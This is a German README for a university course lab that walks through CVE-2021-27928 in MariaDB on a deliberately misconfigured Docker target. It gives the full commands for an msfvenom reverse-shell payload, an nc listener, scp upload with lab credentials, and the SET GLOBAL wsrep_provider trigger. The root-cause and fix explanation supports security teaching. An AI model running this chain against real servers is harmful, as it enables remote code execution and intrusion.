
Ein Proof of Concept für die Ausnutzung der Schwachstelle CVE-2021-27928
In diesem Repository finden Sie einen Proof of Concept zur Ausnutzung der Sicherheitslücke CVE-2021-27928 mittels eines Docker-Containers.
# Exploit Title: MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution
# Date: 03/18/2021
# Exploit Author: Central InfoSec
# Version:
MariaDB 10.2 before 10.2.37,
10.3 before 10.3.28,
10.4 before 10.4.18,
10.5 before 10.5.9;
Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL
# Tested on: Linux
# CVE : CVE-2021-27928
Die Systemvariablen wsrep_provider und wsrep_notify_cmd system können zur Laufzeit von einem Datenbankbenutzer mit Super-Privilegien geändert werden, was zur Ausführung von Remote-Code mit diesen Privilegien führen kann.
Die erste Variable akzeptiert einen Pfad zur .so-Bibliothek, die der Server mit dlopen() zu laden versucht, und die zweite einen Pfad zum Shell-Skript, das der Server ausführt. Dass diese beschreibbar sind, ermöglicht es einem Datenbankbenutzer mit Super-Privilegien, beliebigen Code als Systembenutzer auszuführen.
mysqlIn diesem Proof of Concept verwenden wir msfvenom, um die .so-Bibliothek zu generieren, die unsere Nutzlast (in unserem Fall eine Reverse Shell) enthält. Wir kopieren diese Datei dann auf die verwundbare Maschine und geben diesen Pfad in der Variable wsrep_provider an, wodurch unsere Nutzlast ausgeführt wird. Dies gewährt uns dank unserer Reverse Shell Zugriff auf die Zielmaschine als Benutzer mit Super-Privilegien (hier mysql-Benutzer).
Für dieses Experiment benötigen Sie, dass docker, msfvenom, openssh-client und mariadb-Pakete auf Ihrem Rechner installiert sind.
In diesem Setup basiert die Zielmaschine auf einem MariaDB 10.4.12-Image (das für diese Sicherheitslücke anfällig ist), auf dem ein OpenSSH-Server läuft, der keine Root-Anmeldung erlaubt. Daher haben wir für Sie einen Nicht-Root-Benutzer myuser mit dem Passwort mypassword erstellt.
Erstellen des verwundbaren Images:
docker build --rm=true -t mariadb-cve-2021-27928 .
Starten der Zielmaschine:
docker compose up
Die Nutzlast ist die Binärdatei, die die Zielmaschine nach Abschluss des Exploits ausführen soll. Hier verwenden wir msfvenom, um die Reverse-Shell-Nutzlast in Form einer .so-Bibliothek zu erstellen, mit unserer IP-Adresse (LHOST) und Port (LPORT) als Parameter. Führen Sie in einer anderen Shell Folgendes aus:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.128.1 LPORT=4444 -f elf-so -o payload-CVE-2021-27928.so
Die IP-Adresse
LHOSTist diejenige, die indocker-compose.yamlfür das Netzwerk-Gateway definiert ist, in unserem Fall der Angreifer, Sie.
Im Hintergrund, in einem dritten Terminal, lauschen wir auf eingehende Verbindungen von der Zielmaschine auf dem Port, auf dem sie sich verbinden soll.
nc -lnvp 4444
Der Port, auf dem wir lauschen,
4444, ist derselbe, den wir bei der Erstellung der Nutzlast alsLPORTfestgelegt haben.
Nun müssen wir die zuvor erstellte Nutzlast (payload-CVE-2021-27928.so) per SSH mit dem Befehl scp auf die Zielmaschine kopieren, als Nicht-Root-Systembenutzer myuser, dessen Passwort mypassword ist:
scp payload-CVE-2021-27928.so [email protected]:/tmp/payload-CVE-2021-27928.so
Da wir eine Datei nicht direkt per SSH nach /usr/lib kopieren können, müssen wir uns mit der Maschine verbinden und sie manuell an die richtige Stelle verschieben (denken Sie daran, dass das Passwort von myuser mypassword ist):
mv /tmp/payload-CVE-2021-27928.so /usr/lib/galera/libgalera_smm.so
exit
Wir hätten die Nutzlast auch in ein anderes Verzeichnis unter einem anderen Namen wie
/tmp/exploit.sohochladen und diesen Pfad als Nutzlastpfad übergeben können, aber da die Sicherheitslücke inzwischen in allen MariaDB-Paketen behoben wurde, erforderte ihre Ausnutzung einige Anpassungen, die Sie am Ende dieser Demo sehen werden.
Der letzte Schritt besteht darin, die MariaDB-Sicherheitslücke auszunutzen, indem wir eine Anfrage als freundlicher Nicht-Root-Systembenutzer, aber kompetenter Datenbankadministrator, der wir sind, mit der Anfrage senden, die globale Variable wsrep_provider auf den Pfad unserer Nutzlast zu setzen.
mysql -u root -p -h 192.168.128.5 -e "SET GLOBAL wsrep_provider='/usr/lib/galera/libgalera_smm.so';"
Hier bedeutet
root"Administrator" auf Datenbankebene, nicht den "System-Root"-Benutzer. Das Passwort ist daher das in der Dateidocker-compose.yaml,MYSQL_ROOT_PASSWORD: myrootpwd.
Wenn schließlich alles wie erwartet funktioniert hat, können wir in dem Terminal, in dem wir auf Verbindungen gelauscht haben, sehen, dass sich die Zielmaschine erfolgreich bei uns zurückgemeldet hat und wir Shell-Befehle ausführen können. Viel Spaß :)
Die Reverse Shell ist nicht so komfortabel wie eine "klassische" Shell: Sie haben keine Autovervollständigung, keine Eingabeaufforderung und keinen Verlauf, daher liegt es an Ihnen, die korrekte Ausführung Ihrer Befehle zu überwachen. Zögern Sie also nicht, als Beispiel
ls -lazu verwenden.
Sie können
whoamiin der Netcat-Shell ausführen, um zu überprüfen, ob Sie der Systembenutzermysqlsind!
Laut dem MariaDB-Jira scheint es wenig (oder keinen) praktischen Anwendungsfall zu geben, diese Variablen zur Laufzeit zu ändern; sie werden nur in Tests verwendet. Nachdem diese Sicherheitslücke gefunden wurde, bestand die Behebung daher darin, sie schreibgeschützt zu machen, was eine einfache und sichere Lösung war, auf Kosten etwas komplexerer Testskripte.
Das war zuvor nicht der Fall, aber jetzt kann wsrep_provider nur noch den Wert /usr/lib/galera/libgalera_smm.so annehmen. Deshalb erforderte dieser Proof of Concept einige Anpassungen, wie das Gewähren von Schreibrechten für den Ordner /usr/lib/galera, um unsere Nutzlast hochladen zu können. Diese Konfiguration ist daher im Rahmen dieser Demonstration bewusst fehlerhaft, ist aber auf den meisten aktuellen Systemen nicht mehr auf diese Weise nutzbar.
Diese Arbeit wurde im Rahmen des Kurses zur Sicherheit von Informationssystemen durchgeführt, der im letzten Jahr der Spezialisierung Informationssystemtechnik an der Grenoble INP - Ensimag, UGA, angeboten wird.